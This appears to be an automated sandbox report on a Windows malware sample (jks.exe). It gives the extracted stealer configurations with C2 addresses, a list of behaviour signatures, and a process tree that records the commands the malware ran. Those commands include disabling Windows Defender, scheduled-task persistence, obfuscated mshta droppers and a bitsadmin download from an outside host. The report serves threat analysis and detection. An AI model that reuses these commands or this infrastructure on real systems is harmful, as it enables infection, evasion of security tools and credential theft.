Analysis
-
max time kernel
779s -
max time network
1034s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
22-10-2021 14:08
General
-
Target
jks.exe
-
Size
11.2MB
-
MD5
60f0cdd0610280950f2a77c612d27c73
-
SHA1
25b97a2f1e6a38a77868cef03ae2ad2b810e9551
-
SHA256
3a4fee55dbf0ecf16b8bdc2a8fcba340c842a3e9d3762aeac3e07317501d9ec6
-
SHA512
1cff0e480c88f02fc0fec9ea1f827f2f57804da999973f707e8fd7e5e6a7cb892b139c527f09cf785fc248381ddc02b8d31e321defd83ea9c82472fc2d5ca3f6
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
sehrish2
C2
135.181.129.119:4805
Extracted
Family
redline
Botnet
ChrisNEW
C2
194.104.136.5:46013
Extracted
Family
redline
Botnet
media21
C2
91.121.67.60:23325
Extracted
Family
vidar
Version
41.5
Botnet
937
C2
https://mas.to/@xeroxxx
Attributes
-
profile_id
937
Extracted
Family
raccoon
Botnet
7c9b4504a63ed23664e38808e65948379b790395
Attributes
-
url4cnc
http://telegka.top/capibar
http://telegin.top/capibar
https://t.me/capibar
rc4.plain
rc4.plain
Extracted
Family
icedid
Campaign
1875681804
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 5 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 9 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 64 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 4 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 46 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 10 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 13 IoCs
-
Checks for any installed AV software in registry 1 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 25 IoCs
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 22 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 25 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
-
Suspicious use of SetThreadContext 14 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 52 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 51 IoCs
-
Checks SCSI registry key(s) 3 TTPs 21 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 19 IoCs
-
Modifies Internet Explorer settings 1 TTPs 6 IoCs
-
Modifies data under HKEY_USERS 19 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 9 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Script User-Agent 10 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
-
Suspicious behavior: MapViewOfSection 11 IoCs
-
Suspicious behavior: SetClipboardViewer 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 17 IoCs
-
Suspicious use of SendNotifyMessage 53 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\jks.exe"C:\Users\Admin\AppData\Local\Temp\jks.exe"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\lol.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05eeb2dae7b88520a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05eeb2dae7b88520a.exeFri05eeb2dae7b88520a.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PE689.tmp\Fri05eeb2dae7b88520a.tmp"C:\Users\Admin\AppData\Local\Temp\is-PE689.tmp\Fri05eeb2dae7b88520a.tmp" /SL5="$4024A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05eeb2dae7b88520a.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05eeb2dae7b88520a.exe"C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05eeb2dae7b88520a.exe" /SILENT7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-0R1AQ.tmp\Fri05eeb2dae7b88520a.tmp"C:\Users\Admin\AppData\Local\Temp\is-0R1AQ.tmp\Fri05eeb2dae7b88520a.tmp" /SL5="$20280,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05eeb2dae7b88520a.exe" /SILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EJIUD.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-EJIUD.tmp\postback.exe" ss19⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05beb1e355.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05beb1e355.exeFri05beb1e355.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri055cc2a6e65.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri055cc2a6e65.exeFri055cc2a6e65.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05b5df5106928d62.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0C00E4C6\Fri05b5df5106928d62.exeFri05b5df5106928d62.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\A5msG_V9JGMQgJeeLok0oyHG.exe"C:\Users\Admin\Pictures\Adobe Films\A5msG_V9JGMQgJeeLok0oyHG.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\iG24G_uYMNv99gvcTpHZ7RHv.exe"C:\Users\Admin\Pictures\Adobe Films\iG24G_uYMNv99gvcTpHZ7RHv.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\vKGN9SK1zHJzGAdJCoWRRdMC.exe"C:\Users\Admin\Documents\vKGN9SK1zHJzGAdJCoWRRdMC.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
-
C:\Users\Admin\Pictures\Adobe Films\Vbrl3KBkWoitLCN5MN99q7UQ.exe"C:\Users\Admin\Pictures\Adobe Films\Vbrl3KBkWoitLCN5MN99q7UQ.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\sUbbRMvYhb6N_ZtzLgv24aIn.exe"C:\Users\Admin\Pictures\Adobe Films\sUbbRMvYhb6N_ZtzLgv24aIn.exe" /mixtwo8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 6529⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 6729⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 6769⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 8089⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 8769⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 9529⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 10889⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\FLYKtMfIGujqsp8EDomlFTB_.exe"C:\Users\Admin\Pictures\Adobe Films\FLYKtMfIGujqsp8EDomlFTB_.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\weEvwvq8v1SS8GZFdPyajg60.exe"C:\Users\Admin\Pictures\Adobe Films\weEvwvq8v1SS8GZFdPyajg60.exe"8⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\GvceRYKdZQlpjjXi83b9G8lH.exe"C:\Users\Admin\Pictures\Adobe Films\GvceRYKdZQlpjjXi83b9G8lH.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\KLzV1OtteGofw0XXbxXRV4AV.exe"C:\Users\Admin\Pictures\Adobe Films\KLzV1OtteGofw0XXbxXRV4AV.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe"C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\lWwO6m3_GrFfejO9W2Ro7qnY.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "lWwO6m3_GrFfejO9W2Ro7qnY.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\xJCmySaEMqg2CSeui0sOePFb.exe"C:\Users\Admin\Pictures\Adobe Films\xJCmySaEMqg2CSeui0sOePFb.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-DHLUR.tmp\xJCmySaEMqg2CSeui0sOePFb.tmp"C:\Users\Admin\AppData\Local\Temp\is-DHLUR.tmp\xJCmySaEMqg2CSeui0sOePFb.tmp" /SL5="$80336,506127,422400,C:\Users\Admin\Pictures\Adobe Films\xJCmySaEMqg2CSeui0sOePFb.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-2OAS8.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-2OAS8.tmp\DYbALA.exe" /S /UID=270910⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
-
C:\Program Files\MSBuild\HZUONTTOVF\foldershare.exe"C:\Program Files\MSBuild\HZUONTTOVF\foldershare.exe" /VERYSILENT11⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\56-463d0-cca-69aa8-3d9ed67fd0acc\Faehuzhaehype.exe"C:\Users\Admin\AppData\Local\Temp\56-463d0-cca-69aa8-3d9ed67fd0acc\Faehuzhaehype.exe"11⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\e5-1080d-4f2-1bfbe-8848dfdab2dd0\Nukaeqikaefa.exe"C:\Users\Admin\AppData\Local\Temp\e5-1080d-4f2-1bfbe-8848dfdab2dd0\Nukaeqikaefa.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4axd32or.l2l\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\4axd32or.l2l\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\4axd32or.l2l\GcleanerEU.exe /eufive13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 65214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 66414⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 66814⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 69214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 88814⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 93214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 109614⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d2yjebq1.4pc\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\d2yjebq1.4pc\installer.exeC:\Users\Admin\AppData\Local\Temp\d2yjebq1.4pc\installer.exe /qn CAMPAIGN="654"13⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\d2yjebq1.4pc\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\d2yjebq1.4pc\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634512427 /qn CAMPAIGN=""654"" " CAMPAIGN="654"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fn5et3m1.ewa\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\fn5et3m1.ewa\any.exeC:\Users\Admin\AppData\Local\Temp\fn5et3m1.ewa\any.exe13⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yui1kaln.bgw\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\yui1kaln.bgw\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\yui1kaln.bgw\gcleaner.exe /mixfive13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 65214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 67214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 67614⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 69214⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 88414⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 93614⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 109614⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2ls4kdwp.vl5\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\2ls4kdwp.vl5\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\2ls4kdwp.vl5\autosubplayer.exe /S13⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV115⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z14⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pblIbXxehgYgJWsq -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pVs6mDmdY1wodMZO -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszBCEB.tmp\tempfile.ps1"14⤵
-
